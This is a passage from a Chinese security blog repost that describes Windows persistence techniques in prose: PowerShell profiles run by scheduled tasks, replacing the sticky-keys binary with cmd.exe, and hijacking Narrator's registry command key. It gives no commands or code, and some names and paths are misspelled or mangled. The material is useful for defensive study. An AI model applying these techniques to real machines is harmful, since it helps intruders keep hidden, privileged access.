PowerShell 配置文件的工作。通过将任意命令存储在配置文件脚本中,PowerShell 配置文件为代码执行提供了很多机会。一个计划任务可以用来将在特定的时间执行 PowerShell 来避免需要依靠用户来启动 PowerShell 的

十二、辅助功能

辅助功能提供了一些选项(屏幕键盘、放大镜、屏幕阅读等),可以帮助残疾人更轻松地使用 Windows 操作系统但是,此功能可能会被滥用,以在已启用 RDP 且已获得管理员级别权限的主机上实现持久性。此技术涉及磁盘,或者需要修改注册表才能执行存储的远程负载。通过辅助功能实现持久性的最简单方法是用合法的 cmd.exe 或任何其他有效负载替换粘滞键(sethc.exe)的二进制文件。

通过辅助功能可以实现持久性的最简单的方法时用合法的 cmd 或从任何其他有效负载替换沾滞键

(sethc.exe)的二进制文件。

图片

持久性-沾滞键二进制替换

按住 Shift 键 5 次将启用沾滞键,并且将执行恶意 sethc.exe 而不是合法的 sethc.exe,这将提供提升权限的会话或提升 System 命令提示符。

图片

持久性-沾滞

Narrator

在 Windows 10 操作系统中,“Narrator”是一个屏幕阅读应用程序,可以帮助人们解决可见性问题。Giulio

Comi 发现执行叙述者时可以修改注册表以创建无文件的持久性。在实施此技术之前,Giulio 建议对主机进行一系列修改,以自动启动 Narator 并减少噪音。建议以下设置:

图片

Narator 设置此技术首先在他的博客中得到了证明,它包括两个部分:

删除”DelegffateExecute”注册表项

修改”默认”注册表项以执行命令

这两项都存储在以下注册表位置:

HKCUSoftwareClassesAppXypsaf9f1qserqevf0sws76dx4k9a5206Shellopencommand

图片

文章来源

某群不知名PDF,

如侵权后台请后台私聊删除文章或者请直接投诉

完整版请后台回复:"权限维持"

本文最终解释权归本文作者所有!!!

专注于信息安全方面分享,非营利性组织,不接商业广告,致力于向大家分享有用的干货,欢迎投稿以及转发

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一切法律后果均由攻击者承担!!!


日站不规范,亲人两行泪!!!

不规范,亲人两行泪!

不规范,亲人两行泪!

  • 专注于信息安全方面分享,非营利性组织,不接商业广告

  • 关注不迷路,点赞!关注!转发!评论!!

  • 要投稿的后台留言即可,会第一时间回复,谢谢!

相关推荐: CWE-328 可逆的单向哈希

CWE-328 可逆的单向哈希 Reversible One-Way Hash 结构: Simple Abstraction: Base 状态: Draft 被利用可能性: unkown 基本描述 The product uses a hashing algo…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日00:18:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   十二种Windows 权限维持整理!!!附详细步骤截图http://cn-sec.com/archives/707896.html